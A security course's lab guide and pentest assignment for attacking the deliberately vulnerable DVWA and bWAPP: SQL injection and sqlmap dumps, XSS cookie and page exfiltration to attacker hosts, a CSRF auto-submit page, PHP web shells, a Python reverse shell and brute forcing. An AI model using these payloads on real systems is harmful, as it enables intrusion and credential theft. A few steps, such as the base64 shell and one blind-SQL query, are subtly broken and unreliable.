

Week 9: Lab Activities - Advanced Web Application Attacks

Complete Step-by-Step Lab Guide with Assignment

Note: This lab does not have any weightage in total marks

Lab Environment Setup

Prerequisites

- VirtualBox or VMware Workstation
- Kali Linux VM (attacker machine)
- DVWA (Damn Vulnerable Web Application) VM
- bWAPP (buggy Web Application) installation
- Burp Suite Community Edition
- Firefox browser with security extensions

Initial Setup Steps

1. **Ensure network connectivity** between VMs on same subnet
 2. **Note the IP address** of DVWA: `ifconfig` on DVWA machine
 3. **Configure Burp Suite** proxy on attacker machine (localhost:8080)
 4. **Enable proxy** in Firefox: Settings > Network Settings > Manual proxy (127.0.0.1:8080)
-

Lab 1: SQL Injection Attacks on DVWA

Objective

Master SQL injection exploitation techniques, including manual and automated approaches.

Part 1A: Basic SQL Injection (Manual)

Step 1: Access DVWA Interface

1. Open Firefox and navigate to `http://DVWA_IP/DVWA/`

2. Login with credentials: Username: `admin`, Password: `password`
3. Navigate to "SQL Injection" from the left menu
4. Ensure Security Level is set to "Low"

Step 2: Identify Vulnerable Parameter

1. The page displays a "User ID" input field
2. Enter `1` and observe the output showing user information
3. This input field is the attack vector

Step 3: Craft Basic SQL Injection

1. Clear the field and enter: `1' OR '1'='1`
2. Click "Submit"
3. **Expected Result:** Database returns all user records (bypasses WHERE clause)
4. The query becomes: `SELECT * FROM users WHERE user_id = '1' OR '1'='1'`

Step 4: Extract Database Information

1. Enter: `1' UNION SELECT NULL,table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','mysql') --`
2. Observe database structure
3. This reveals database names and tables available

Step 5: Union-Based Injection for Data Extraction

1. First determine column count by entering: `1' UNION SELECT 1,2,3 --`
 - If successful, displays column numbers; if error, adjust count
1. Once column count confirmed (typically 2), enter:

```
1' UNION SELECT table_name, column_name FROM information_schema.columns
WHERE table_schema=database() --
```

3. This lists all columns in current database

Step 6: Extract Sensitive Data

1. Determine username and password columns from users table
2. Enter: `1' UNION SELECT user, password FROM users --`
3. **Critical Finding:** Database stores passwords (likely hashed or plaintext)
4. Note the usernames and password hashes for analysis

Step 7: Comment Out Remaining Query

1. Enter: `1' UNION SELECT version(),database() --`
2. Observe MySQL version and database name displayed
3. The `--` comments out remaining SQL

Part 1B: Time-Based Blind SQL Injection (Manual)

Step 1: Navigate to Blind SQL Injection

1. In DVWA, select "SQL Injection (Blind)" from menu
2. Ensure Security Level is "Low"
3. This challenge has no visible output except "User exists" or "User does not exist"

Step 2: Confirm Blind Injection Vulnerability

1. Enter: `1`
2. Note the response (should show "User exists")
3. Enter: `999`
4. Note the response (should show "User does not exist")

Step 3: Exploit with Boolean-based Blind SQL

1. Enter: `1' AND '1'='1`
2. Observe response: "User exists" (condition is TRUE)
3. Enter: `1' AND '1'='2`
4. Observe response: "User does not exist" (condition is FALSE)
5. **Success:** Confirmed blind SQL injection through boolean responses

Step 4: Extract Data Using Boolean Logic

1. Test if username is "admin":

```
1' AND (SELECT COUNT(*) FROM users WHERE user LIKE 'a%') > 0 --
```

2. Response "User exists" means usernames starting with 'a' exist
3. Test progressively: 'ab%', 'ad%', 'adm%', 'admi%', 'admin%'
4. Once confirmed, test other username formats

Step 5: Extract Password Hashes Using Time-Based Blind

1. Enter: `1' AND SLEEP(5) --`
2. Observe response takes 5+ seconds to return
3. This confirms time-based blind injection
4. Use constructed queries:

```
1' AND IF(SUBSTRING(password,1,1)='2',SLEEP(5),0) FROM users WHERE user='admin' --
```

5. If response delays 5 seconds, first character is '2'
6. Increment through ASCII characters to identify each character

Part 1C: Automated SQL Injection with SQLMap

Step 1: Identify Injection Point

1. Open Burp Suite and set proxy to listen on localhost:8080
2. Navigate to DVWA SQL Injection with Security Level "Low"
3. Enter 1 in User ID field and submit
4. Capture the request in Burp Suite: GET
/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit
5. Right-click captured request → Copy to clipboard

Step 2: Launch SQLMap

1. Open terminal in Kali Linux
2. Create a request file:

```
cat > sqli_request.txt << 'EOF'
GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: DVWA_IP
Cookie: PHPSESSID=your_session_id; security=low
EOF
```

3. Replace DVWA_IP and PHPSESSID with actual values

Step 3: Run SQLMap Basic Scan

1. Execute command:

```
sqlmap -r sqli_request.txt -p id --batch
```

2. Parameters:

- -r: Use request from file
- -p: Target parameter (id)
- --batch: Auto-select default answers

2. **Expected Output:** SQLMap identifies injection vulnerability and exploitation method

Step 4: Database Enumeration with SQLMap

1. Execute:

```
sqlmap -r sqli_request.txt -p id --dbs
```

Lists all databases

2. Execute:

```
sqlmap -r sqli_request.txt -p id -D dvwa --tables
```

Lists tables in dvwa database

3. Execute:

```
sqlmap -r sqli_request.txt -p id -D dvwa -T users --columns
```

Lists columns in users table

4. Execute:

```
sqlmap -r sqli_request.txt -p id -D dvwa -T users --dump
```

Dumps all user credentials from users table

Step 5: Advanced SQLMap Options

1. For more aggressive scanning:

```
sqlmap -r sqli_request.txt -p id --risk=3 --level=5 --dump-all
```

2. Test for multiple vulnerability types:

```
sqlmap -r sqli_request.txt -p id --technique=BEUSTQ
```

(B=Boolean, E=Error, U=Union, S=Stacked, T=Time-based, Q=Inline)

3. Write dumped data to file:

```
sqlmap -r sqli_request.txt -p id --dbs -o dvwa_databases.txt
```

Lab 1 Documentation Requirements

- Screenshot of DVWA login
 - Screenshot of basic SQL injection result (OR '1'='1')
 - Screenshot of UNION SELECT output showing database structure
 - Screenshot of extracted credentials
 - Screenshot of SQLMap enumeration results
 - Write explanation of how each attack works (200 words minimum)
-

Lab 2: Cross-Site Scripting (XSS) Attack Vectors on DVWA

Objective

Demonstrate reflected, stored, and DOM-based XSS vulnerabilities with practical payloads.

Part 2A: Reflected XSS

Step 1: Access Reflected XSS Module

1. In DVWA, select "Reflected Cross Site Scripting (XSS)" from menu
2. Ensure Security Level is "Low"
3. This page has a text input field with message display

Step 2: Basic XSS Alert Payload

1. In the input field, enter: `<script>alert('XSS Vulnerability Found')</script>`
2. Click "Submit"
3. **Expected Result:** JavaScript alert box displays with custom message
4. This confirms script execution in user's browser

Step 3: Cookie Stealing Payload (Proof of Concept)

1. Enter this payload:

```
<script>
document.location='http://ATTACKER_IP:8000/?cookie='+document.cookie;
</script>
```

2. First, set up a simple HTTP server to capture the request:

```
python3 -m http.server 8000
```

3. When victim clicks link with payload, check server logs
4. **Observation:** Cookie data appears in server logs

Step 4: DOM Manipulation XSS

1. Enter: `<img src=x onerror="document.body.innerHTML='<h1>Site Defaced</h1>'"`
2. **Expected Result:** Page content is replaced with defacement message
3. This shows potential for malicious page modification

Step 5: Event Handler Variations

1. Test multiple event handlers:

- `<body onload="alert('XSS via onload')">`
- `<svg onload="alert('XSS via SVG')">`
- `<iframe src="javascript:alert('XSS via iframe')">`

1. Document which ones execute successfully
2. Note the application response type (Does it warn? Block? Allow?)

Step 6: Bypass Filters

1. If simple payload is blocked, try variations:

- HTML encoding: `<script>alert(String.fromCharCode(88,83,83))</script>`
(XSS in decimal)
- Case manipulation: `<ScRiPt>alert('XSS')</sCrIpT>`
- Whitespace: `<script>alert('XSS')</script>`
- Comment stripping: `<script>al/*comment*/ert('XSS')</script>`

Step 7: Capture Reflected XSS in Burp Suite

1. Open Burp Suite Proxy
2. Submit XSS payload through DVWA
3. Inspect request in Burp: Note how payload appears in query parameter
4. Inspect response: Note how payload appears unencoded in HTML
5. Right-click response → Save response to file for documentation

Part 2B: Stored XSS on DVWA

Step 1: Access Stored XSS Module

1. In DVWA, select "Stored Cross Site Scripting (XSS)" from menu
2. Ensure Security Level is "Low"
3. This module has name and message input fields that store data

Step 2: Store Basic XSS Payload

1. In "Name" field, enter: `Attacker`
2. In "Message" field, enter: `<script>alert('Stored XSS - Executes Every Time')</script>`
3. Click "Submit"
4. **Expected Result:** Alert displays immediately
5. **Critical Step:** Refresh page - Alert displays again (proof of persistence)

Step 3: Persistent Data Theft Payload

1. Clear fields and refresh to bypass stored alert
2. In "Name" field, enter: Attacker
3. In "Message" field, enter:

```
<img src=x
onerror="fetch('http://ATTACKER_IP:8000/?cookie='+document.cookie) ">
```

4. Click "Submit"
5. Set up HTTP server: `python3 -m http.server 8000`
6. Every time any user views this message, their cookie is transmitted to attacker's server

Step 4: Email/Form Injection

1. In "Message" field, enter:

```
<form action="http://attacker.com/steal.php" method="POST">
<input type="hidden" name="data" value="">
<input type="submit" value="Click here to continue">
</form>
```

2. When displayed, users see a clickable form that submits to attacker's server

Step 5: Redirect Attack

1. In "Message" field, enter:

```
<script>
setTimeout(function() {
    window.location='http://phishing-site.com';
}, 3000);
</script>
```

2. After 3 seconds, page redirects to attacker's phishing site

Step 6: Verify Data Persistence

1. Note the database entries using SQL injection knowledge from Lab 1
2. Query the database to confirm malicious scripts are stored:

```
SELECT * FROM guestbook;
```

3. Document that scripts persist even after application restart

Part 2C: DOM-based XSS

Step 1: Access DOM-based XSS Module

1. In DVWA, select "DOM-based Cross Site Scripting (XSS)" from menu
2. Ensure Security Level is "Low"
3. This module uses JavaScript to handle user input on client-side

Step 2: Identify Vulnerable JavaScript

1. Right-click page → View Page Source
2. Look for JavaScript handling user input (typically in `<script>` tags)
3. Identify functions like `innerHTML`, `eval()`, `document.write()`
4. Common vulnerable code:

```
document.getElementById('output').innerHTML = userInput;
```

Step 3: Basic DOM XSS Exploitation

1. In the input field, enter: `<img src=x onerror="alert('DOM XSS')"`
2. Click "Submit" or trigger the vulnerable function
3. **Expected Result:** Alert displays, confirming client-side code execution

Step 4: Hash-based DOM XSS

1. Some applications pass data via URL hash (fragment): `page.html#<payload>`
2. In DVWA, the vulnerable function might be:

```
var input = window.location.hash.substring(1);
document.getElementById('output').innerHTML = input;
```

3. Craft URL: `http://DVWA_IP/page.html#<svg onload="alert('DOM XSS via hash')"`
4. Send this URL to victim; JavaScript executes without server involvement

Step 5: Query Parameter DOM XSS

1. If vulnerable function uses `window.location.search` **or** `document.location.href`:
2. Craft URL: `http://DVWA_IP/page.php?param=<img src=x onerror="alert('DOM XSS')"`
3. Confirm execution in victim's browser

Step 6: Data Exfiltration via DOM XSS

1. Inject code that extracts page content:

```
<script>
fetch('http://attacker.com/log?data=' +
encodeURIComponent(document.body.innerHTML));
</script>
```

2. This steals entire page HTML including sensitive information

Lab 2 Documentation Requirements

- Screenshot of reflected XSS payload and alert
 - Screenshot of stored XSS persistence (before and after page refresh)
 - Screenshot of stored XSS database entry
 - Screenshot of DOM XSS page source showing vulnerable code
 - Proof of data exfiltration (HTTP server logs showing stolen data)
 - Comparison table of XSS types with impact assessment
-

Lab 3: CSRF Token Bypass and Session Attacks

Objective

Understand CSRF vulnerabilities and session management weaknesses using Burp Suite.

Part 3A: CSRF Token Analysis

Step 1: Enable Burp Suite CSRF Token Tracking

1. Open Burp Suite
2. Navigate to Proxy tab → Options
3. Under "Responses", check "Highlight CSRF tokens" and "Track token values"
4. Set proxy to listen on localhost:8080 in Firefox

Step 2: Access DVWA CSRF Module

1. In DVWA, navigate to "CSRF"
2. Ensure Security Level is "Low"
3. This module typically shows "Change your email address" form
4. Fill in a new email and prepare to submit

Step 3: Intercept CSRF Token Request

1. In Burp Suite, enable Intercept in Proxy tab
2. On DVWA page, click "Change" to submit form
3. Intercept request in Burp
4. **Examine Request:**
 - Look for CSRF token parameter (often named `csrf`, `token`, `_token`)
 - Note the token value
 - Observe HTTP method (GET/POST), Content-Type, and all parameters

1. Allow request to complete

Step 4: CSRF Token Validation Analysis

1. Change email to different value and submit again
 2. Intercept new request
 3. **Compare Tokens:**
 - Is token the same? (Reusable - HIGH RISK)
 - Is token different? (Per-request - BETTER)
1. In Burp Repeater:
 - Copy first request
 - Change email parameter
 - Keep old CSRF token
 - Send request
 - **If accepted:** Token validation is weak or non-existent

Step 5: CSRF Token in GET Parameters

1. If token is in URL: `/page.php?csrf=abc123&email=new@email.com`
 2. This is vulnerable because:
 - URLs appear in browser history
 - URLs logged in proxy logs
 - Shared in referrer headers
1. Test by modifying URL directly without proper token validation

Step 6: Null/Empty Token Test

1. In Burp Repeater, remove CSRF token parameter entirely
2. Send request with email change but no token
3. **If successful:** Application doesn't properly validate token presence
4. Replace token value with empty string: `token=`
5. **If successful:** Another bypass indication

Part 3B: CSRF Exploitation with HTML

Step 1: Create CSRF Attack HTML

1. Create file `csrf_attack.html`:

```
<html>
<body onload="document.csrf_form.submit()">
```

```
<form name="csrf_form" action="http://DVWA_IP/DVWA/vulnerabilities/csrf/"
method="POST">
  <input type="hidden" name="password_new" value="hacked123">
  <input type="hidden" name="password_conf" value="hacked123">
  <input type="hidden" name="Change" value="Change">
</form>

</body>
</html>
```

2. This form auto-submits when victim visits the page
3. If CSRF protection is absent, password changes automatically

Step 2: Host Attack Page

1. Save HTML file and host on simple HTTP server:

```
python3 -m http.server 8000
```

2. Access at `http://attacker-ip:8000/csrf_attack.html`

Step 3: Test CSRF Attack

1. Log into DVWA with test account
2. Visit attacker's CSRF page
3. Check if password was changed without explicit confirmation
4. **If successful:** CSRF protection is absent or bypassable

Part 3C: Session Management and Hijacking

Step 1: Identify Session Cookies

1. In Burp Suite Proxy, capture DVWA request
2. Look for Set-Cookie headers in response:
 - `PHPSESSID=abc123def456`
 - Check for security flags: `Secure`, `HttpOnly`, `SameSite`
1. **Security Assessment:**
 - Absent Secure flag: Sent over HTTP (VULNERABLE)
 - Absent HttpOnly: Stealable via JavaScript/XSS
 - Absent SameSite: Vulnerable to CSRF with cookies

Step 2: Session Cookie Analysis in Burp

1. Click on Cookies tab in Burp
2. Add target site as "Include in scope"

3. Navigate DVWA and observe cookie modifications
4. Note: Session ID remains same throughout authenticated session
5. Check cookie expiration time

Step 3: Session Fixation Attack

1. Before logging in, note the PHPSESSID value
2. Craft URL with specific PHPSESSID:
`http://DVWA_IP?PHPSESSID=attacker_controlled_value`
3. If victim clicks link and logs in with this session
4. Attacker uses same session ID to access victim's account

Step 4: Implement Session Hijacking via XSS

1. In DVWA, exploit stored XSS vulnerability (from Lab 2)
2. Inject payload:

```
<script>
new Image().src='http://attacker-ip:8000/steal.php?c='+document.cookie;
</script>
```

3. When victim loads page, cookie transmitted to attacker's server
4. Extract PHPSESSID from captured cookie
5. In Burp Repeater, modify PHPSESSID to stolen value
6. Send request - Access victim's session as authenticated user

Step 5: Cookie Replay and Session Hijacking

1. Captured Session ID: `PHPSESSID=abc123xyz789`
2. Create new request in Burp Repeater to protected page
3. Modify Cookie header:

```
Cookie: PHPSESSID=abc123xyz789
```

4. Send request
5. If response shows authenticated content, session hijacking successful

Lab 3 Documentation Requirements

- Screenshot of captured CSRF token in Burp Suite
- Comparison of tokens across multiple requests
- Screenshot of CSRF attack HTML file
- Screenshot of proof-of-concept CSRF exploitation (successful form submission)
- Screenshot of captured session cookies showing security flags
- Screenshot of Burp Repeater using hijacked session ID
- Explanation of each attack vector with security implications (300 words)

Lab 4: File Upload Vulnerabilities and Web Shell Exploitation

Objective

Exploit file upload mechanisms and achieve remote code execution.

Part 4A: File Upload Vulnerability Testing

Step 1: Access DVWA File Upload Module

1. In DVWA, navigate to "File Upload"
2. Ensure Security Level is "Low"
3. Observe upload interface with file selection field

Step 2: Baseline Testing - Legitimate File Upload

1. Create legitimate image file:

```
convert -size 100x100 xc:blue test_image.jpg
```

2. Upload image through DVWA interface
3. Note upload path: /DVWA/uploads/test_image.jpg
4. **Baseline:** Confirm normal functionality works

Step 3: Basic PHP Web Shell Upload

1. Create PHP web shell file `shell.php`:

```
<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
```

2. Attempt to upload directly
3. If upload succeeds:
 - Access shell at: `http://DVWA_IP/DVWA/uploads/shell.php?cmd=id`
 - Check for command output (user ID, groups, etc.)
 - Try other commands: `whoami`, `pwd`, `ls -la`
 - **SUCCESS:** Remote code execution achieved

Step 4: Double Extension Bypass

1. Rename shell to `shell.php.jpg`
2. Upload `shell.php.jpg`
3. If upload succeeds, access at:

`http://DVWA_IP/DVWA/uploads/shell.php.jpg?cmd=id`

4. Test for execution:

- Some servers process `.php.jpg` as PHP if PHP handler misconfigured
- If it executes, double extension bypass successful

Step 5: Alternative PHP Extensions Bypass

1. Create shells with various extensions:

- `shell.phtml`
- `shell.php3`
- `shell.php4`
- `shell.php5`
- `shell.phar`

1. Upload each and test for execution
2. Document which extensions execute as PHP

Step 6: Null Byte Injection (Legacy Systems)

1. On older systems (PHP < 5.3.4), null byte in filename causes truncation:

- Filename: `shell.php%00.jpg`
- Server processes as: `shell.php`

1. Modern systems ignore this technique
2. Attempt for educational purposes

Step 7: MIME Type Bypass with Burp Suite

1. Create PHP shell and name as `shell.jpg`
2. Upload through DVWA interface
3. Intercept request in Burp Suite
4. Modify Content-Type header:

- From: Content-Type: `image/jpeg`
- Keep same: (no change)

1. Send request
2. If server only validates Content-Type (not actual file content):

- PHP shell uploaded and executes at `/DVWA/uploads/shell.jpg?cmd=id`

Part 4B: Polyglot File Creation and Upload

Step 1: Create PHP-JPEG Polyglot

1. Create minimal PHP code:

```
<?php system($_GET['cmd']); ?>
```

2. Get valid JPEG magic bytes:

```
convert -size 100x100 xc:blue test.jpg
cat test.jpg >> shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
```

3. Verify file structure:

```
file shell.jpg # Should identify as JPEG
```

4. Upload `shell.jpg`
5. Access: `http://DVWA_IP/DVWA/uploads/shell.jpg?cmd=whoami`
6. If executed: Polyglot bypass successful

Part 4C: Web Shell Post-Exploitation

Step 1: Enumerate System Information

1. Access shell with command:
`http://DVWA_IP/DVWA/uploads/shell.php?cmd=uname+-a`

- Reveals OS type, kernel version

1. Execute: `cat /etc/passwd | head -10`

- Lists system users

1. Execute: `id`

- Shows current execution context and privileges

Step 2: File System Navigation

1. Execute: `pwd` to show current directory
2. Execute: `ls -la` to list files
3. Navigate database directories:


```
find / -name "*.sql" 2>/dev/null  
locate database
```

Step 3: Database Access via Shell

1. Execute: `mysql -u root -p database_name < backup.sql`
2. If MySQL credentials accessible:

```
mysql -u root -e "SELECT * FROM dvwa.users;"
```

3. Dump sensitive data from database

Step 4: Establish Reverse Shell

1. Create Python reverse shell:

```
python3 -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con  
nect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup  
2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
```

2. URL encode and pass as command:

```
http://DVWA_IP/DVWA/uploads/shell.php?cmd=python3+reverse_shell.py
```

3. Listen on attacker machine:

```
nc -lvnp 4444
```

4. Successful connection provides interactive shell access

Step 5: Web Shell Obfuscation Techniques

1. Base64 encoded shell:

```
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydkbWQnXSsk7')); ?>
```

2. This makes detection harder while maintaining functionality

Lab 4 Documentation Requirements

- Screenshot of successful legitimate file upload
- Screenshot of PHP shell command execution output
- Screenshot of Burp Suite intercepting file upload request
- Screenshot of MIME type modification in Burp
- Screenshot of web shell executing system commands
- Screenshot of reverse shell connection establishment

- Technical report explaining: upload vulnerability chain, bypass techniques, exploitation steps, impact assessment (400 words)
-

Lab 5: Burp Suite Intruder and Advanced Testing

Objective

Demonstrate automated vulnerability identification and exploitation using Burp Suite Intruder.

Part 5A: Burp Suite Intruder Setup for Username Enumeration

Step 1: Configure Burp Intruder for Login Enumeration

1. Capture DVWA login request in Burp Proxy
2. Right-click → Send to Intruder
3. In Intruder tab, click "Clear §" to remove default markers
4. Highlight username field: `$admin$`
5. Ensure only username is marked as payload position

Step 2: Create Payload List

1. Go to Payloads tab
2. Under "Payload options", select "Simple list"
3. Click "Load" and load common usernames:

```
admin
administrator
root
user
test
guest
```

4. Or paste in Payload list field directly

Step 3: Configure Response Analysis

1. In Options tab → Grep-Match
2. Click "New" and add search strings:
 - "User exists" (positive response)
 - "Invalid credentials" (negative response)
 - "Account locked" (another positive indicator)

1. These help identify which usernames exist

Step 4: Execute Attack

1. Click "Start attack"
2. Monitor results in attack results table
3. Identify usernames with unique response patterns
4. Column "Username exists" marks confirmed usernames

Step 5: Save Results

1. Right-click results table → Export → HTML report
2. Document which usernames were identified
3. Filter results where response indicates user exists

Part 5B: Password Brute Force with Intruder

Step 1: Setup Password Brute Force Attack

1. Capture successful login request in Proxy
2. Send to Intruder
3. Mark password field: `$password123$`
4. Leave username as known value (e.g., admin)

Step 2: Create Password Payload

1. Go to Payloads tab
2. Select payload type: "Simple list" or "Brute forcer"
3. For brute forcer:
 - Character set:
`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@`
 - Min length: 4, Max length: 8
 - This generates all combinations (very slow, for education only)
1. For wordlist attack:
 - Load common passwords file: `/usr/share/wordlists/rockyou.txt`
 - Subset first 100-1000 passwords for lab

Step 3: Configure Success Indication

1. Options tab → Grep-Match
2. Add "Login successful" or redirect to dashboard
3. Also add "Failed" or "Invalid" as negative indicator

Step 4: Optimize Attack Timing

1. Resource pool → Threads: Set to 5 (Avoid overloading target)
2. Request engine → Delay: Add 100ms between requests
3. This prevents rate limiting and DOS detection

Step 5: Execute Brute Force

1. Start attack
2. Monitor progress in results table
3. Look for response showing successful login
4. Note successful password

Step 6: Demonstrate Rate Limiting Detection

1. Observe response codes changing (429, 503)
2. This indicates rate limiting activated
3. Slow down attack further or stop
4. Wait several minutes before resuming

Part 5C: SQL Injection Detection with Intruder

Step 1: Identify SQLi Injection Points

1. Capture DVWA SQL injection request
2. Send to Intruder
3. Mark ID parameter: `$1$`

Step 2: Create SQLi Payload List

1. Payloads tab → Simple list
2. Add SQL injection test strings:

```
1
1 '
1 "
1 ' OR '1'='1
1 ' UNION SELECT NULL --
1 ' AND SLEEP(5) --
admin' --
' OR 1=1 --
```

3. These test for various SQLi techniques

Step 3: Response Analysis Setup

1. Options → Grep-Extract

2. Define extraction pattern: `<font color="blue"><em>(.*?)</em>`
3. This extracts user information from vulnerable response
4. Also add Grep-Match for error messages

Step 4: Execute SQLi Detection Attack

1. Start attack with reasonable thread count
2. Observe different responses:
 - Errors indicate possible injection
 - Changes in output indicate successful queries
 - Timing delays indicate time-based blind SQLi

Step 5: Analyze Results

1. Filter results showing non-standard responses
 2. Identify which payloads produced anomalies
 3. Note response length changes
 4. Document SQLi vulnerability confirmation
-

Lab 6: Comprehensive Web Application Penetration Test Assignment (3%)

Assignment Overview

Conduct a complete penetration test of a vulnerable web application (DVWA or bWAPP) and document findings in professional report format.

Assignment Requirements

Objective: Identify, exploit, and document 5-7 distinct vulnerabilities in the target application, demonstrating mastery of Week 9 concepts.

Scope:

- Target: DVWA with Security Level "Low" or bWAPP
- Timeframe: Complete within lab session
- Tools: Burp Suite, SQLMap, manual testing, custom scripts
- Documentation: Detailed technical report

Part 1: Reconnaissance and Planning (15%)

1.1 Application Mapping

1. Document all pages and functionality
2. Identify all input fields (forms, parameters, cookies)
3. List client-side technologies (JavaScript, frameworks)
4. Note server response headers and technology stack
5. Create visual sitemap showing all endpoints

1.2 Threat Modeling

1. For each input field, determine potential attack vectors:
 - SQL injection
 - XSS
 - File upload abuse
 - CSRF
 - Command injection
1. Create threat matrix prioritizing high-risk areas

Example Documentation:

```
PAGE: /DVWA/vulnerabilities/sqli/  
FUNCTIONALITY: User lookup by ID  
INPUTS:  
- GET parameter "id"  
- GET parameter "Submit"  
THREAT VECTORS:  
- SQL injection (HIGH RISK)  
- Blind SQLi possible  
- Time-based SQLi likely  
INITIAL ASSESSMENT: CRITICAL VULNERABILITY
```

Part 2: Vulnerability Identification (20%)

2.1 Systematic Testing

Test each input for:

Injection Attacks

- SQL: ' OR '1'='1, UNION SELECT, time-based
- Command: ; whoami, | cat /etc/passwd
- LDAP, XML injection variations

XSS Testing

- Reflected: <script>alert('XSS')</script>
- Stored: Input XSS payload, refresh, check persistence
- DOM: Check JavaScript handling of user input

Authentication Issues

- Default credentials
- Weak password reset
- JWT vulnerabilities
- Session fixation

File Upload Issues

- Upload executable files (.php, .jsp, .asp)
- MIME type bypass
- Double extension attacks

Access Control

- Direct object reference (IDOR)
- Horizontal privilege escalation
- Vertical privilege escalation

2.2 Documentation Template for Each Vulnerability

VULNERABILITY ID: V-001

TITLE: SQL Injection in User Search

SEVERITY: CRITICAL (CVSS 9.8)

LOCATION: /DVWA/vulnerabilities/sqli/?id=

ATTACK VECTOR: GET parameter 'id'

VULNERABILITY DESCRIPTION:

The application directly concatenates user input into SQL queries without parameterization. An attacker can inject SQL commands to:

- Extract database contents
- Modify or delete data
- Bypass authentication
- Execute administrative functions

PROOF OF CONCEPT:

Input: 1' UNION SELECT user,password FROM users --

Output: [Lists all users and password hashes]

IMPACT:

- Confidentiality: HIGH (all data accessible)
- Integrity: HIGH (data can be modified)
- Availability: HIGH (database can be dropped)

REMEDIATION:

- Implement parameterized queries
- Use prepared statements
- Apply input validation
- Implement least privilege on DB accounts

REFERENCES:

- OWASP Top 10 A05:2025 - Injection

- CWE-89: Improper Neutralization of Special Elements used in SQL Command

Part 3: Exploitation and Proof of Concept (30%)

3.1 Develop Working Exploits

For each vulnerability:

1. Create manual step-by-step exploitation guide
2. Develop automated exploit script if applicable
3. Document tool usage (Burp Suite, SQLMap, etc.)
4. Generate evidence (screenshots/video)

3.2 Data Extraction Examples

```
# SQL Injection - Extract database version
http://target/search.php?id=1' UNION SELECT version(),2,3 --

# XSS - Steal cookies
<script>
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>

# File Upload - Web Shell RCE
# Upload shell.php containing: <?php system($_GET['cmd']); ?>
# Access: http://target/uploads/shell.php?cmd=whoami
```

3.3 Evidence Collection

- Screenshot of successful SQL injection query results
- Screenshot of XSS alert or data theft
- Screenshot of web shell command execution
- Screenshot of CSRF token bypass
- Network traffic showing exploitation (Burp suite)
- Server logs showing exploitation

Part 4: Professional Report Writing (25%)

4.1 Executive Summary (1 page)

- High-level overview
- Total vulnerabilities found
- Overall risk assessment
- Estimated remediation effort
- Business impact statement

Example:

EXECUTIVE SUMMARY

This assessment identified 7 critical vulnerabilities in the DVWA application, presenting extreme security risk. An attacker with network access can:

- Gain complete database access within minutes
- Execute arbitrary code on the application server
- Compromise all user accounts
- Modify or delete critical data

Immediate remediation is CRITICAL. Estimated remediation: 40-60 hours.
OVERALL RISK RATING: CRITICAL (9.8/10)

4.2 Detailed Findings Section

For each vulnerability include:

- Vulnerability ID and title
- CVSS score and severity rating
- Detailed description (2-3 paragraphs)
- Step-by-step reproduction guide
- Proof of concept code/screenshots
- Business impact assessment
- Remediation recommendations with code examples

4.3 Remediation Roadmap

IMMEDIATE (24-48 hours):

- Patch SQL injection with parameterized queries
- Implement output encoding for XSS prevention
- Add CSRF tokens to all state-changing operations

SHORT-TERM (1-2 weeks):

- Implement Web Application Firewall
- Add security headers (CSP, X-Frame-Options, etc.)
- Conduct security code review

MEDIUM-TERM (1-2 months):

- Implement security testing in CI/CD pipeline
- Security training for development team
- Third-party penetration testing

LONG-TERM (ongoing):

- Bug bounty program
- Regular security assessments
- Keep components updated

4.4 Report Structure

1. Title Page (2% of grade)

- Assessment date

- Target application
- Penetration tester name
- Confidentiality notice

1. **Table of Contents** (1%)

- Executive summary
- Findings
- Remediation

1. **Executive Summary** (15%)

- Overview of assessment
- Critical findings summary
- Risk overview

1. **Detailed Findings** (50%)

- 5-7 vulnerabilities with complete documentation
- Screenshots and evidence
- Exploitation steps
- Impact analysis

1. **Remediation Recommendations** (20%)

- Priority-based recommendations
- Code examples for fixes
- Implementation timeline
- Testing strategy

1. **Appendices** (5%)

- Tool output logs
- Additional screenshots
- Technical glossary

Part 5: Submission Requirements

Deliverables:

1. **Technical Report (PDF)** - 15-25 pages

- All sections above
- Professional formatting
- Clear, technical writing

1. **Evidence Folder** - Screenshots/Video

- Each vulnerability demonstration
- Burp Suite captures
- Database dumps
- Web shell access proof

1. **Exploit Scripts** (if applicable)

- SQLi extraction script
- XSS payload testing script
- Automated enumeration script

1. **Video Walkthrough** (Optional, 5-10 minutes)

- Live demonstration of vulnerabilities
- Exploitation walkthrough
- Impact demonstration

Grading Rubric (3% of Total 100%)

Vulnerability Identification (40%)

Findings	Points	Criteria
7 distinct vulnerabilities	35-40%	Complete and accurate identification of all major vulnerabilities
5-6 vulnerabilities	28-34%	Good coverage with minor gaps
3-4 vulnerabilities	20-27%	Adequate identification of main vulnerabilities
1-2 vulnerabilities	10-19%	Limited findings, missing critical issues
No vulnerabilities	0%	Failed to identify any vulnerabilities

Exploitation & Proof of Concept (30%)

Evidence	Points	Criteria
Working exploits for all vulnerabilities	28-	Complete exploitation with clear PoC

Evidence	Points	Criteria
	30%	
Working exploits for 80%+ vulnerabilities	24-27%	Most vulnerabilities successfully exploited
Working exploits for 60%+ vulnerabilities	18-23%	Good exploitation coverage
Working exploits for <60%	10-17%	Limited successful exploits
No working exploits	0%	Failed to demonstrate exploitation

Documentation Quality (20%)

Quality	Points	Criteria
Professional report, clear writing	18-20%	Well-organized, technically sound, grammar excellent
Good documentation, minor issues	14-17%	Clear structure, few grammatical errors
Adequate documentation	10-13%	Understandable but lacks polish
Poor documentation	5-9%	Difficult to follow, multiple errors
Minimal documentation	0-4%	Inadequate or missing sections

Technical Understanding (10%)

Understanding	Points	Criteria
Expert-level understanding	9-10%	Demonstrates deep knowledge of vulnerabilities
Strong understanding	7-8%	Clear grasp of concepts and techniques
Adequate understanding	5-6%	Basic understanding with explanations
Limited understanding	3-4%	Superficial understanding

Understanding	Points	Criteria
Minimal understanding	0-2%	Lacks comprehension of topics

Assignment Due Date

Submit all deliverables within 1 week of Lab 5 completion.

Submission Format

- Create folder: `Week9_Assessment_YourName`
- Include:
 - `Penetration_Test_Report.pdf`
